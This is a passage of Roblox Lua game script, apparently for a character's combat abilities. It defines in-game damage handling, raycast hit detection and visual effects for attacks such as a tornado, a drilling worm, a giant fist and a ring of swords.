  6871. SplashDmg(false,onb.p,dmge,scale/1.6,125) q(function() for i=0.4,1,0.04 do w() end fade(e1,0.1) fade(e2,0.1) fade(e3,0.1) end) for i=0.3,1,0.035 do
  6872. e3m.Scale=v3((scale2/1.3)*i,(scale2/2)*i,(scale2/1.3)*i) e2m.Scale=v3((scale2*1.3)*i,(scale2*1.3)*i,(scale2*1.3)*i) e1m.Scale=v3((scale2*1.3)*i,(scale2*1.3)*i,(scale2*1.3)*i) e1.CFrame=onb*ca(rd(-90),rd(360),0) e2.CFrame=onb*ca(0,rd(360),0) e3.CFrame=onb*ca(rd(180),rd(360),0) w()
  6873. end
  6874. end) end
  6875. function splat2(pos,dmge)
  6876. local dbr=it("Model",workspace) local colz2="Bright red" if ts(dmge)=="Block!" then colz2="Bright blue" end
  6877. dbr.Name=ts(dmge) local dbri=pa(dbr,"Head","Block",1,0,1,false,false,0,0,colz2) it("Humanoid",dbr).MaxHealth=0
  6878. dbri.Anchored=true dbri.CFrame=cn(pos + v3(rn(-15,15)/10,3,rn(-15,15)/10)) game:service'Debris':AddItem(dbr,0.5) end
  6879. local DBDH={}
  6880. function Dmgz(blockz,aihu,dmgzz2,pos,fuu) if ft(DBDH,aihu.Parent) or aihu == hu then return end if aihu.Health==0 then return end if aihu.Parent:findFirstChild("ForceField") then return end dmgdeb2=true q(function() if (aihu.Parent:findFirstChild("Block") and aihu.Parent.Block:IsA("BoolValue") and aihu.Parent.Block.Value and not blockz) or pos.Name:lower()=="shield" then splat2(pos.Position,"Bl" .. "ock!") w(0.2) Sound(Sounds.Block,1.4,3) return end
  6881. local dmgzz=dmgzz2 if game:service'Players':findFirstChild(aihu.Parent.Name) and not tk then return end if game:service'Players':findFirstChild(aihu.Parent.Name) == nil then dmgzz=dmgzz*1.75 end ti(DBDH,aihu.Parent) if rn(1,a.cr[1]) == 1 then aihu.Health=aihu.Health-dmgzz*a.cr[2] dmgzz="Crit! " ..ts(dmgzz*a.cr[2]) else q(function() fuu(aihu.Parent) end) aihu.Health=aihu.Health-dmgzz end if not pos then return end splat2(pos.Position,dmgzz) q(function() w(0.08) tr(DBDH,ft(DBDH,aihu.Parent)) end)
  6882. end) end
  6883. function rayHit(wai,Cobalt1164k,wepCobalt1164,adjus,magz,tim) local DebounceTable2={} q(function()
  6884. local hitx=0 local tymzup=false q(function() w(wai) tymzup=true end)
  6885. repeat w() local tries=0 local bhit,bpos=nil,v3(999,999,999)
  6886. repeat tries=tries + 1 local xx=0 local yy=0 if tries==1 then xx=1 elseif tries==2 then xx=-1 elseif tries == 3 then yy=1 elseif tries == 4 then yy=-1 elseif tries == 5 then xx=-1 yy=-1 elseif tries == 6 then xx,yy=1,1 elseif tries == 7 then xx,yy=-1,1 elseif tries == 8 then xx,yy=1,-1 end
  6887. bhit,bpos=ray((wepCobalt1164.CFrame *adjus *cn(xx,yy,-0.8)).p,wepCobalt1164.Position - (wepCobalt1164.CFrame *adjus *cn(0,0,2)).p)
  6888. if bhit ~= nil and (bpos - wepCobalt1164.Position).magnitude < magz+0.8 then break end until tries > 8
  6889. if bhit==nil or (bpos - wepCobalt1164.Position).magnitude > magz+0.8 then else local brea=false
  6890. for i,v in pairs(bhit.Parent:children()) do local dmge=rn(d[1],d[2])*tim
  6891. if v:IsA("Humanoid") and not DebounceTable2[v.Parent.Name] then DebounceTable2[v.Parent.Name]=true Dmgz(false,v,dmge,bhit) Sound(Sounds.Smash,0.9,1) hitx=hitx+1 brea=true break end end
  6892. if bhit.Parent ~= workspace and not brea then for i,v in pairs(bhit.Parent.Parent:children()) do local dmge=rn(d[1],d[2])*tim
  6893. if v.Parent:findFirstChild("Humanoid") and not DebounceTable2[v.Parent.Parent.Name] then DebounceTable2[v.Parent.Parent.Name]=true Dmgz(false,v.Parent.Humanoid,dmge,bhit) Sound(Sounds.Smash,0.9,1) hitx=hitx+1 break end end
  6894. end
  6895. end until hitx >= Cobalt1164k or tymzup end) end
  6896. function GetRegion(p0,p1,f,f2) q(function()
  6897. for i,v in pairs(workspace:FindPartsInRegion3(Region3.new(p0,p1),c,100) ) do if v.Parent:findFirstChild("Humanoid") and v.Parent.Humanoid.Health > 0 and v.Parent:findFirstChild("Torso") then q(function() f(v.Parent) end) elseif f2 and v.Parent.Parent:findFirstChild("Humanoid") == nil then f2(v) end end
  6898. end) end
  6899. function FindGround(pos) local ax,ay,az = pos:toEulerAnglesXYZ()
  6900. local bhit,bpos=ray(pos.p,pos.p - (pos.p + v3(0,200,0)))
  6901. if bhit and bpos then return cn(bpos)*ca(ax,ay,az) end return nil end
  6902. function MakeCrater(pos,sc,tyms,debz) q(function() if not debz then debz = 5 end
  6903. local bhit,bpos=ray(pos,pos - (pos + v3(0,200,0)))
  6904. if bhit and bpos then
  6905. for i=1,tyms do q(function()
  6906. local gr = pa(su,"","Block",rn(5,13)/10*sc,0.25*sc,rn(4,10)/10*sc,true,true,bhit.Transparency,bhit.Reflectance,bhit.BrickColor.Name) gr.Material = bhit.Material gr.TopSurface = bhit.TopSurface
  6907. gr.CFrame = cn(bpos+v3(rn(-12,12)/10*sc,0,rn(-12,12)/10*sc))*ca(rd(rn(-40,40)),rd(rn(-360,360)),rd(rn(-40,40))) wait(debz) fade(gr,0.1)
  6908. end) end
  6909. end
  6910. end)
  6911. end
  6912. function ForceBrick(v,rootpos,force) q(function() if v:GetMass() > 100 or v.Anchored or getclass(v,"Weld") then return end
  6913. v:BreakJoints() v.Velocity = cn(rootpos,v.Position).lookVector*force
  6914. end) end
  6915. function FireObj(v,tcf2,adj,spi,tym,rang,fu,glo) q(function() -- obj,cf,adj,spid,tyms,rang,func,glo
  6916. local tcf = tcf2 for i=1,tym do
  6917. bhit,bpos=ray(tcf.p,tcf.p - (tcf *cn(0,0,-1)).p)
  6918. if bhit and (bpos - tcf.p).magnitude < rang then break end
  6919. tcf=tcf*cn(0,0,spi) v.CFrame=tcf*adj
  6920. wait() end
  6921. if glo then GlowMesh(false,"Sphere",t,v3(glo,glo,glo),'Navy blue',cn(bpos),0.1,1,0.08) end
  6922. if fu and bhit then fu(bhit) else wait(rn(0,20)/10) fade(v,0.1) end
  6923. end) end
  6924. function ProjHit1(v,hit,mul2) local mul = mul2 q(function() if not mul2 then mul = 1 end if not hit.Anchored then
  6925. if hit.Parent:findFirstChild("Humanoid") and hit.Parent:findFirstChild("Torso") then Dmgz(false,hit.Parent.Humanoid,rn(d[1],d[2])*mul,hit.Parent.Torso) end
  6926. v.Anchored = false stick(hit,v)
  6927. wait(1) end wait(rn(10,25)/10) fade(v,0.1) end) end
  6928. --Dio's functions
  6929. function SpawnSword(pos,sc,dmg,col) if pos == nil then return end q(function() MakeCrater(pos.p+v3(0,2,0),3,3,3)
  6930. GlowMesh(false,"Sphere",t,v3(7*sc,1.5*sc,7*sc),col,pos,0.1,1,0.05)
  6931. local pro = pa(su,"","Block",2*sc,2*sc,7*sc,true,true,0.3,0,"") local prom = qi({"SpecialMesh",pro,Scale=v3(3*sc,2*sc,4*sc),VertexColor=v3(0,0,1),MeshType="FileMesh",MeshId=Decs.RedCliff,TextureId=Decs.RedCliffT})
  6932. pro.CFrame = pos*ca(rd(-25),0,0)*cn(0,-3*sc,0) local cff = pro.CFrame for i=0.1,1,0.15 do pro.CFrame=cff*cn(0,6*sc*i,0)*ca(rd(-90),0,0)*ca(0,0,rd(90)) wait() end
  6933. local rr = sc*1.5 GetRegion(pro.Position-v3(rr,rr,rr),pro.Position+v3(rr,rr,rr),function(v) v.Humanoid.PlatformStand = true local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(pro.Position,v.Torso.Position+v3(0,20,0)).lookVector*40}) Dmgz(false,v.Humanoid,rn(d[1],d[2]),v.Torso) wait(0.15) bpp:Remove() v.Humanoid.PlatformStand = false end) wait(1) for i=1,0,-0.15 do pro.CFrame=cff*cn(0,6*sc*i,0)*ca(rd(-90),0,0)*ca(0,0,rd(90)) wait() end pro:Remove() end)
  6934. end local bped = {}
  6935. function SpikeSucker(pos,sc)
  6936. local bal = pa(c,"","Ball",4*sc,4*sc,4*sc,false,true,0.16,0,"White") bal.CFrame = pos
  6937. local spi = pa(c,"","Ball",0,0,0,false,true,0.16,0,"White") spi.CFrame = bal.CFrame local spm = qi({"SpecialMesh",spi,MeshType="FileMesh",MeshId=Decs.SpikeBall})
  6938. local dia = pa(bal,"","Block",0,0,0,false,true,0.3,0,"White") qi({"SpecialMesh",dia,Scale=v3(1*sc,2*sc,1*sc),MeshType="FileMesh",MeshId=Decs.Diamond})
  6939. local dia2 = dia:Clone() dia2.Parent = bal local dia3 = dia:Clone() dia3.Parent = bal local tms = 0 local rr=10*sc for x=1,4 do
  6940. for i=0,1,0.1 do tms = tms + 1
  6941. spm.Scale = v3(i,i,i)*1.7 spi.CFrame=spi.CFrame*ca(rd(4),rd(4),rd(4)) dia.CFrame = bal.CFrame*ca(rd(tms*5),0,0)*cn(0,6*sc,0) dia2.CFrame = bal.CFrame*ca(0,0,rd(tms*5))*cn(0,6*sc,0) dia3.CFrame = bal.CFrame*ca(0,rd(tms*5),0)*cn(0,0,6*sc)*ca(rd(90),0,0)
  6942. if tms%3==0 then GetRegion(bal.Position-v3(rr,rr,rr),bal.Position+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(1,3),v.Torso) if v.Torso:findFirstChild("SBP") == nil then ti(bped,v) qi({"BodyPosition",v.Torso,Name="SBP",D=6000,maxForce=v3(200000,200000,200000),position=bal.Position}) end end) end
  6943. wait()
  6944. end
  6945. for i=1,0,-0.1 do tms = tms + 1
  6946. spm.Scale = v3(i,i,i)*1.7 spi.CFrame=spi.CFrame*ca(rd(4),rd(4),rd(4)) dia.CFrame = bal.CFrame*ca(rd(tms*5),0,0)*cn(0,6*sc,0) dia2.CFrame = bal.CFrame*ca(0,0,rd(tms*5))*cn(0,6*sc,0) dia3.CFrame = bal.CFrame*ca(0,rd(tms*5),0)*cn(0,0,6*sc)*ca(rd(90),0,0)
  6947. if tms%3==0 then GetRegion(bal.Position-v3(rr,rr,rr),bal.Position+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(1,3),v.Torso) if v.Torso:findFirstChild("SBP") == nil then ti(bped,v) qi({"BodyPosition",v.Torso,Name="SBP",D=6000,maxForce=v3(200000,200000,200000),position=bal.Position}) end end) end
  6948. wait()
  6949. end
  6950. for i,v in pairs(bped) do q(function() for i,vv in pairs(v.Torso:children()) do if vv.Name == "SBP" then vv:Remove() end end end) end
  6951. end
  6952. q(function() fade(dia,0.2) fade(dia2,0.2) fade(dia3,0.2) for i=0.1,1,0.1 do spi.Transparency = i spm.Scale = spm.Scale*1.1 bal.Transparency = i bal.Size = bal.Size*1.1 bal.CFrame = pos wait() end spi:Remove() bal:Remove() end)
  6953. end
  6954. function Blackspace(pos,tms,dmg)
  6955. local bal = pa(c,"","Ball",52,52,52,false,true,1,0,"Really black") bal.CFrame = pos
  6956. for i=1,0.5,-0.1 do bal.Transparency =i wait() end
  6957. for i=1,tms do local o = 25
  6958. Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(25,0,0).p,4,2.5,"Institutional white",0.3,0)
  6959. Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(-25,0,0).p,4,2.5,"Institutional white",0.3,0)
  6960. Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,25,0).p,4,2.5,"Institutional white",0.3,0)
  6961. Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,-25,0).p,4,2.5,"Institutional white",0.3,0)
  6962. Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,0,25).p,4,2.5,"Institutional white",0.3,0)
  6963. Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,0,-25).p,4,2.5,"Institutional white",0.3,0)
  6964. local rr = 25 if i%4==0 then GetRegion(pos.p-v3(rr,rr,rr),pos.p+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(3,5),v.Torso) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(bal.Position,v.Torso.Position).lookVector*10}) wait(0.1) bpp:Remove() end) end
  6965. wait(0.05)
  6966. end
  6967. for i=0.5,1,0.1 do bal.Transparency =i wait() end bal:Remove()
  6968. end
  6969. function MatterBall(pos,sc,spid,tyms,dmgmul) q(function()
  6970. local cor = db1:Clone() cor.Mesh.Scale=v3(sc,sc,sc)*5 local cor2 = db2:Clone() cor2.Mesh.Scale = cor.Mesh.Scale*1.55 qi({"Fire",cor,Color=bc('Navy blue').Color,SecondaryColor=bc('Navy blue').Color,Size=sc*3.5,Heat=0})
  6971. cor.Transparency = 0.05 cor.Anchored = true cor2.Anchored = true cor2.Transparency = 0.4 cor.Parent = su cor2.Parent = cor cor.CFrame = pos
  6972. local corms = cor.Mesh.Scale local cor2ms = cor2.Mesh.Scale for i=1,tyms do local Cobalt1164vt = {-2*sc,2*sc}
  6973. local Cobalt1164v3 = v3(0,0,0) local Cobalt1164rn = rn(1,3) if Cobalt1164rn == 1 then Cobalt1164v3=v3(Cobalt1164vt[rn(1,2)],0,0) elseif Cobalt1164rn == 2 then Cobalt1164v3=v3(0,Cobalt1164vt[rn(1,2)],0) elseif Cobalt1164rn == 3 then Cobalt1164v3=v3(0,0,Cobalt1164vt[rn(1,2)]) end cor.Mesh.Scale=corms+Cobalt1164v3 cor2.Mesh.Scale=cor2ms+Cobalt1164v3
  6974. cor.CFrame = pos*cn(0,0,-spid*i)
  6975. local bhit,bpos=ray(cor.Position,cor.Position - (cor.CFrame *cn(0,0,1)).p)
  6976. if bhit and (bpos - cor.Position).magnitude < (spid*1.1) then break end
  6977. cor.CFrame=cor.CFrame*ca(rd(rn(-360,360)),rd(rn(-360,360)),rd(rn(-360,360))) cor2.CFrame = cor.CFrame
  6978. local Cobalt1164pos = FindGround(cor.CFrame) if Cobalt1164pos and i%rn(2,3)==0 then GlowMesh(false,Decs.Crown,t,v3(2.6*sc,0.8*sc,2.6*sc),'Navy blue',cn(Cobalt1164pos.p+v3(0,0.15*sc,0)),0.1,1,0.05) end
  6979. wait() end cor.Fire:Remove()
  6980. q(function()
  6981. local n1 = pa(su,"","Block",0,0,0,true,true,0.3,0,"White") qi({"SpecialMesh",n1,Scale=v3(3.5,3.5,8),MeshType="FileMesh",MeshId=Decs.Chakram})
  6982. local n2 = n1:Clone() n2.Parent = su n1.CFrame = cor.CFrame*ca(0,rd(-45),0) n2.CFrame = cor.CFrame*ca(0,rd(45),0)
  6983. for i=1,8 do n1.Mesh.Scale = n1.Mesh.Scale+v3(0.3*sc,0.3*sc,0.35*sc) n2.Mesh.Scale = n1.Mesh.Scale cor.Transparency = cor.Transparency + 0.12 n1.Transparency = cor.Transparency n2.Transparency = n1.Transparency cor2.Transparency = cor2.Transparency + 0.1 cor.Mesh.Scale = cor.Mesh.Scale+v3(2.3*sc,2.3*sc,2.3*sc) cor2.Mesh.Scale = cor.Mesh.Scale*1.55 wait() end n1:Remove() n2:Remove() cor:Remove() cor2:Remove() end)
  6984. local rr = sc GetRegion(cor.Position-v3(rr,rr,rr),cor.Position+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(cor.Position,v.Torso.Position+v3(0,2,0)).lookVector*60}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*dmgmul,v.Torso) wait(0.12) bpp:Remove() end)
  6985. end) end
  6986. function FistBoom(pos,sc,dmg,TYMZEH) q(function()
  6987. local rip = pa(su,"","Block",1,1,1,false,true,0.2,0,"White") local ripm = qi({"SpecialMesh",rip,MeshType="Sphere"})
  6988. rip.CFrame = pos*cn(-4*sc/2,4*sc/2,0)*ca(0,0,rd(45))
  6989. for i=1,3.5,0.5 do rip.Size=v3(1,i*2,1) rip.CFrame = pos*cn((-4+i)*sc,(4-i)*sc,0)*ca(0,0,rd(45)) wait() end
  6990. for i=1,3.5,0.25 do rip.Size=v3(i*2,7,1) rip.CFrame = pos*ca(0,0,rd(45)) wait() end
  6991. local fis = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") local fism = qi({"SpecialMesh",fis,Scale=v3(8*sc,8*sc,8*sc),MeshType="FileMesh",MeshId=Decs.Fist})
  6992. for i=0.5,5.5,1 do fism.Scale = v3(8*sc,((8*sc)/5.5)*i,8*sc) fis.CFrame = pos*cn(0,0,-i*sc)*ca(rd(-90),rd(-90),0) wait() end
  6993. fism.Scale = fism.Scale+v3(1*sc,1*sc,1*sc) fis.CFrame = pos*cn(0,5*sc,-5*sc)*ca(rd(45),0,0)*ca(rd(-90),rd(-90),0) rip.CFrame=pos*ca(rd(45),0,0) qi({"Fire",fis,Heat=-25,Size=15,Color=bc('Navy blue').Color,SecondaryColor=bc('Navy blue').Color})
  6994. local arm = pa(su,"","Block",1,1,1,false,true,0.2,0,"White") local armm = it('CylinderMesh',arm)
  6995. arm.CFrame = cn(rip.Position,fis.CFrame*cn(0,-5.5,0).p)*cn(0,0,-(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude/2-0.5)*ca(rd(90),0,0) armm.Scale = v3(4*sc,(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude+1,4*sc)
  6996. for i=1,7 do fis.CFrame=fis.CFrame*cn(0,TYMZEH/7,0)
  6997. arm.CFrame = cn(rip.Position,fis.CFrame*cn(0,-5.5,0).p)*cn(0,0,-(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude/2-0.5)*ca(rd(90),0,0) armm.Scale = v3(4*sc,(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude+1,4*sc)
  6998. wait() end local armag = (rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude+1
  6999. for x=45,0,-5 do
  7000. rip.CFrame = pos*ca(rd(x+180),0,0) fis.CFrame=rip.CFrame*cn(0,0,(armag-1)+(5.5*sc))*ca(rd(90),rd(-90),0)
  7001. arm.CFrame = rip.CFrame*cn(0,0,((armag-1)/2)+0.5)*ca(rd(90),0,0)
  7002. wait()
  7003. end
  7004. q(function() local cfz = {rip.CFrame,arm.CFrame,fis.CFrame} for i=1,15 do local Cobalt1164v3=v3(rn(-1*sc,1*sc),rn(-1*sc,1*sc),rn(-1*sc,1*sc)) rip.CFrame=cfz[1]+Cobalt1164v3 fis.CFrame=cfz[3]+Cobalt1164v3 arm.CFrame=cfz[2]+Cobalt1164v3 wait() end
  7005. for i=armag,0,-armag/15 do armm.Scale =v3(4,i,4) fis.CFrame=rip.CFrame*cn(0,0,(i)+(5.5*sc))*ca(rd(90),rd(-90),0) arm.CFrame = rip.CFrame*cn(0,0,((i-1)/2)+0.5)*ca(rd(90),0,0) wait() end arm:Remove()
  7006. for i=5.5,0.5,-1 do fism.Scale = v3(8*sc,((8*sc)/5.5)*i,8*sc) fis.CFrame = pos*cn(0,0,-i*sc)*ca(rd(-90),rd(-90),0) wait() end fis:Remove()
  7007. for i=0.2,1,0.1 do ripm.Scale = ripm.Scale+v3(0.2*sc,0.2*sc,0.2*sc) rip.Transparency = i wait() end rip:Remove() end)
  7008. local rr = 6.5*sc GetRegion(fis.Position-v3(rr,rr,rr),fis.Position+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(fis.Position-v3(0,1*sc,0),v.Torso.Position+v3(0,2,0)).lookVector*75}) Dmgz(false,v.Humanoid,rn(d[1]*2,d[2]*2.5),v.Torso) wait(0.15) bpp:Remove() end,function(v) ForceBrick(v,fis.Position,100) end)
  7009. MakeCrater(fis.Position+v3(0,2,0),5,7,10)
  7010. end) end
  7011. WormDrill = function(target,sca) q(function() local spiran = rn(-360,360) local slope = {}
  7012. for i=90,-270,-10 do table.insert(slope,cn(target.p)*ca(0,rd(spiran),0)*cn(0,0,30*sca)*ca(rd(i),0,0)*cn(0,0,30*sca)) end
  7013. local mm = it('Model',su) local tr = 0.15
  7014. local worm0 = pa(mm,"","Block",0,60,0,true,true,tr,0,"White") qi({"SpecialMesh",worm0,Scale=v3(9*sca,12*sca,9*sca),MeshType="FileMesh",MeshId="http://www.roblox.com/asset/?id=12137531"})
  7015. local worm1 = pa(mm,"","Block",10*sca,6*sca,10*sca,true,true,tr,0,"White") it('CylinderMesh',worm1)
  7016. local worm2 = pa(mm,"","Block",9.5*sca,6*sca,9.5*sca,true,true,tr,0,"White") it('CylinderMesh',worm2)
  7017. local worm3 = pa(mm,"","Block",9*sca,6*sca,9*sca,true,true,tr,0,"White") it('CylinderMesh',worm3)
  7018. local worm4 = pa(mm,"","Block",8.5*sca,6*sca,8.5*sca,true,true,tr,0,"White") it('CylinderMesh',worm4)
  7019. local worm5 = pa(mm,"","Block",8*sca,6*sca,8*sca,true,true,tr,0,"White") it('CylinderMesh',worm5)
  7020. local worm6 = pa(mm,"","Block",7.2*sca,6*sca,7.2*sca,true,true,tr,0,"White") qi({"SpecialMesh",worm6,Scale=v3(4*sca,18.5*sca,4*sca),MeshType="FileMesh",MeshId="http://www.roblox.com/asset/?id=1033714"})
  7021. for i=1,#slope-6 do if i+6 == 10 then MakeCrater(slope[i+6].p+v3(0,10,0),13,9,20) end if i+5 == 27 then local rr = 8*sca GetRegion(slope[i+5].p-v3(rr,rr,rr),slope[i+5].p+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(slope[i+5].p,v.Torso.Position+v3(0,2,0)).lookVector*120}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*3.5,v.Torso) wait(0.2) bpp:Remove() end,function(v) ForceBrick(v,slope[i+5].p,150) end) MakeCrater(slope[i+5].p+v3(0,10,0),13,9,20) end
  7022. worm0.CFrame = slope[i+6]*ca(rd(160),0,0)*ca(0,rd(0),0)*cn(0,5*sca,0) worm1.CFrame = slope[i+5] worm2.CFrame = slope[i+4] worm3.CFrame = slope[i+3] worm4.CFrame = slope[i+2] worm5.CFrame = slope[i+1] worm6.CFrame = slope[i]*ca(rd(180),0,0)*cn(0,4*sca,0) wait(0.04) end
  7023. worm0:Remove() worm1:Remove() worm2:Remove() worm3:Remove() worm4:Remove() worm5:Remove() worm6:Remove()
  7024. end) end
  7025. SpawnTornado = function(pos,sc,ski,tyms) q(function()
  7026. local tor = pa(su,"","Block",0,0,0,true,true,1,0,"White") qi({"SpecialMesh",tor,Scale=v3(6.4*sc,8*sc,6.5*sc),MeshType="FileMesh",MeshId=Decs.Tornado})
  7027. tor.CFrame = pos q(function() for i=1,0.2,-0.1 do tor.Transparency = i wait() end end)
  7028. local zz = 0 local tpos = tor.Position
  7029. q(function() while tor.Parent do zz = zz+1
  7030. tor.CFrame = pos*cn(0,0,-zz/2.6)*ca(0,rd(zz*5),0)*cn(0,0,zz*ski/30)*ca(0,rd(zz*25),0) wait()
  7031. local rr = 7*sc GetRegion(tor.Position-v3(rr,rr,rr),tor.Position+v3(rr,rr,rr),function(v) if v.Torso:findFirstChild("SRP") == nil then local bp = qi({"BodyPosition",v.Torso,Name="SRP",maxForce=v3(1/0,1/0,1/0),position=tor.CFrame*cn(0,0,-11*sc).p}) while tor.Parent do v.Humanoid.PlatformStand=true bp.position=tor.CFrame*cn(0,0,8*sc).p
  7032. if rn(1,6) == 2 then v.Humanoid.Sit = true Dmgz(false,v.Humanoid,rn(1,2),v.Torso) end
  7033. wait() end bp:Remove() local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(v.Torso.Position,to.Position+v3(0,30,0)).lookVector*135}) wait(0.4) bpp:Remove() wait(2.5) v.Humanoid.PlatformStand = false else end end)
  7034. end end)
  7035. wait(tyms) tpos = tor.Position local torm = tor.Mesh.Scale tor:Remove() GlowMesh(false,Decs.Tornado,t,torm*3,'Navy blue',cn(tpos),0.2,1,0.05)
  7036. end) end
  7037. function CrownSwords(pos) q(function()
  7038. local hol = pa(su,"","Block",1,1,1,false,true,0.1,0,"White") qi({"SpecialMesh",hol,MeshType="Sphere"})
  7039. hol.CFrame = pos for i=1,6 do hol.Size=v3(1,1,i*5) hol.CFrame=pos*cn(0,0,(5*i)/2) wait() end
  7040. for i=1,6 do hol.Size=v3(i*5,1,30) hol.CFrame=pos*cn(0,0,15) wait() end
  7041. local swr = {} for i=1,14 do local swor = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") qi({"SpecialMesh",swor,MeshType="FileMesh",Scale=v3(4,4,4),MeshId=Decs.SplinteredSky,TextureId=Decs.SplinteredSkyT,VertexColor=v3(0,0,0.8)}) ti(swr,swor) end
  7042. local swr2 ={} for i=1,8 do local swor = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") qi({"SpecialMesh",swor,MeshType="FileMesh",Scale=v3(4,4,4),MeshId=Decs.SplinteredSky,TextureId=Decs.SplinteredSkyT,VertexColor=v3(0,0,0.8)}) ti(swr2,swor) end
  7043. local swor = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") qi({"SpecialMesh",swor,MeshType="FileMesh",Scale=v3(10,14,7.5),MeshId=Decs.SplinteredSky,TextureId=Decs.SplinteredSkyT,VertexColor=v3(0,0,0.8)})
  7044. q(function() for i=1,20 do
  7045. swor.CFrame=hol.CFrame*cn(0,(i*3.5)-5.5,0)*ca(rd(90),0,0)
  7046. wait() end end)
  7047. for i2,v in pairs(swr) do q(function() for i=1,20 do
  7048. v.CFrame=hol.CFrame*ca(0,rd(((360/14)*i2)+i*6),0)*cn(0,(i*0.32)-5.5,10)*ca(rd(-90+(91/20*i)),0,0)
  7049. wait() end FireObj(v,cn(v.Position,v.CFrame*cn(0,0,-2).p),ca(0,0,0),8,20,6,function(h) ProjHit1(v,h,1.2) end,8) end) end
  7050. for i2,v in pairs(swr2) do q(function() for i=1,20 do
  7051. v.CFrame=hol.CFrame*ca(0,rd(((360/8)*i2)+i*-8),0)*cn(0,(i*1)-5.5,6)*ca(rd(-90+(135/20*i)),0,0)
  7052. wait() end FireObj(v,cn(v.Position,v.CFrame*cn(0,0,-2).p),ca(0,0,0),8,20,6,function(h) ProjHit1(v,h,1.2) end,8) end) end for i=1,20 do wait() end local holp = hol.CFrame fade(hol,0.1)
  7053. for i=20*3.5,0,-20*3.5/12 do
  7054. swor.CFrame = hol.CFrame*cn(0,i-1,0)*ca(rd(90),0,0) GlowMesh(false,Decs.Crown,t,v3(5,10,5),'Navy blue',swor.CFrame*ca(rd(-90),0,0),0.1,1,0.1)
  7055. wait() end local rr = 25 GetRegion(holp.p-v3(rr,rr,rr),holp.p+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(holp.p,v.Torso.Position).lookVector*120}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*1.8,v.Torso) wait(0.24) bpp:Remove() end,function(v) ForceBrick(v,holp.p,150) end)
  7056. for i=0,7.5,2.5 do GlowMesh(false,Decs.Ring,t,v3(85-i,85-i,60-i),'Navy blue',hol.CFrame*cn(0,3,0)*ca(rd(-90),0,0),0.1,1,0.05) wait(0.1) end
  7057. wait(5) fade(swor,0.02)
  7058. end) end
  7059. function SpawnDeathBlock(pos,rootvel,sc) q(function()
  7060. local bl = pa(su,"","Block",9.5*sc,12*sc,4*sc,true,true,0.05,0,"Really black") local rca = ca(rd(rn(-6,6)),rd(rn(-6,6)),rd(rn(-6,6)))
  7061. local sk = pa(su,"","Block",0,0,0,false,true,0.05,0,"Really black") qi({"SpecialMesh",sk,Scale=v3(2*sc,2*sc,0.8*sc),MeshType="FileMesh",MeshId=Decs.Skull1})
  7062. bl.Touched:connect(function(v) if v.Parent == c or v.Parent == su or v.Parent:findFirstChild("Humanoid") == nil or v.Parent:findFirstChild("Torso") == nil then return end
  7063. GlowMesh(false,"Sphere",t,v3(12,12,12),'Navy blue',v.CFrame,0.1,1,0.1)
  7064. local bpp = qi({"BodyVelocity",v.Parent.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(rootvel,v.Parent.Torso.Position+v3(0,7.5,0)).lookVector*80}) Dmgz(false,v.Parent.Humanoid,rn(d[1],d[2])*0.2,v.Parent.Torso) wait(0.2) bpp:Remove()
  7065. end)
  7066. for i=0,1,0.1 do bl.CFrame=pos*cn(0,(-5*sc)+(9*i),0)*rca sk.CFrame=bl.CFrame*cn(0,0,-2.1*sc) wait() end
  7067. wait(rn(23,30))
  7068. for i,v in pairs({{"Navy blue",v3(30,30,30)},{"Really black",v3(20,20,20)}}) do GlowMesh(false,"Sphere",t,v[2],v[1],bl.CFrame,0.1,1,0.1) end
  7069. local rr = 8 GetRegion(bl.Position-v3(rr,rr,rr),bl.Position+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(bl.Position,v.Torso.Position).lookVector*80}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*0.5,v.Torso) wait(0.1) bpp:Remove() end,function(v) ForceBrick(v,holp.p,150) end)
  7070. fade(bl,0.1) fade(sk,0.1)
  7071. end) end
  7072. ---- TUT01Cobalt1164
  7073. han = pa(su,"","Block",0.4,0.4,0.4,false,false,0,0,"White") it('CylinderMesh',han)
  7074. hanw = qi({"Weld",han,Part0=t,Part1=han,C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)})
  7075. han2 = pa(su,"","Block",0.35,4,0.35,false,false,0,0,"Black") it('CylinderMesh',han2)
